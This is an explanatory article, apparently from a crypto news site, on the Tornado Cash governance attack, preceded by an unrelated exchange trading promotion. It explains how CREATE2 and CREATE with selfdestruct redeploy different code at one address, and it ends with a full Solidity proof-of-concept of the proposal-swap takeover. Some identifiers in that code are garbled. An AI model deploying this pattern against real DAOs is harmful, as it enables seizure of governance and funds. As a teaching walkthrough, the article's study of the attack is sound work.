Gate Alpha 2nd Points Carnival Round 4 Hot Launch! Trade to Share $30,000 MORE & Alpha Points
Trade $MORE to unlock Listing Airdrops + $300K Points Prize Pool!
💰 Total Airdrop Volume: $30,000 MORE, Limited slots—first come, first served!
✅ Total Points: 2 Alpha Points per trade—accumulate points to share the $300K prize pool!
🔥Trade the Hottest On-Chain Assets First
For more information: https://www.gate.com/campaigns/1342alpha?pid=X&c=MemeBox&ch=vxDB0fQ5
Tornado Governance Attack: How to Deploy Different Contracts on the Same Address
About two weeks ago (May 20), the well-known currency mixing protocol Tornado Cash suffered a governance attack, and hackers gained control (Owner) of Tornado Cash’s governance contract.
The attack process is as follows: the attacker first submits a "normal-looking" proposal, after the proposal is passed, destroys the address of the contract to be executed by the proposal, and recreates an attack contract on the address.
For the attack process, you can view SharkTeam’s Tornado.Cash Proposal Attack Principle Analysis [1] 。
The key to the attack here is to deploy different contracts on the same address. How is this achieved?
background knowledge
There are two opcodes in the EVM to create contracts: CREATE and CREATE2.
CREATE opcode
When using new Token() to use the CREATE opcode, the created contract address calculation function is:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))
The created contract address is determined by creator address + creator Nonce (number of created contracts), since Nonce always increases gradually, when Nonce increases, the created contract address is always is different.
CREATE2 opcode
When adding a salt new Token{salt: bytes32()}(), the CREATE2 opcode is used, and the created contract address calculation function is:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
The address of the created contract is creator address + custom salt + bytecode of the smart contract to be deployed, so only the same bytecode and the same salt value can be used Can be deployed to the same contract address.
So how can different contracts be deployed at the same address?
Attack method
The attacker uses Create2 and Create together to create the contract, as shown in the figure:
First use Create2 to deploy a contract Deployer, then use Create in Deployer to create the target contract Proposal (for proposal use). Both Deployer and Proposal contracts have self-destruct implementations (selfdestruct).
After the proposal is passed, the attacker destroys the Deployer and Proposal contracts, and then re-creates the Deployer with the same slat. The Deployer bytecode remains the same, and the slat is the same, so the same Deployer contract address as before will be obtained, but at this time the Deployer The state of the contract is cleared, and the nonce starts from 0, so another contract Attack can be created using this nonce.
Attack code example
This code is from:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract DAO { struct Proposal { address target; bool approved; bool uted; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, uted: false})); } function ute(uint256 proposalId) external payable { Proposal storage proposal = proposals [proposalId] ; require(proposal.approved, "not approved"); require(!proposal.uted, "uted"); proposal.uted = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "delegatecall failed"); } } contract Proposal { event Log(string message); function uteProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); } } contract Attack { event Log(string message); address public owner; function uteProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; } } contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); } } contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); } }
You can use this code to walk through it yourself in Remix.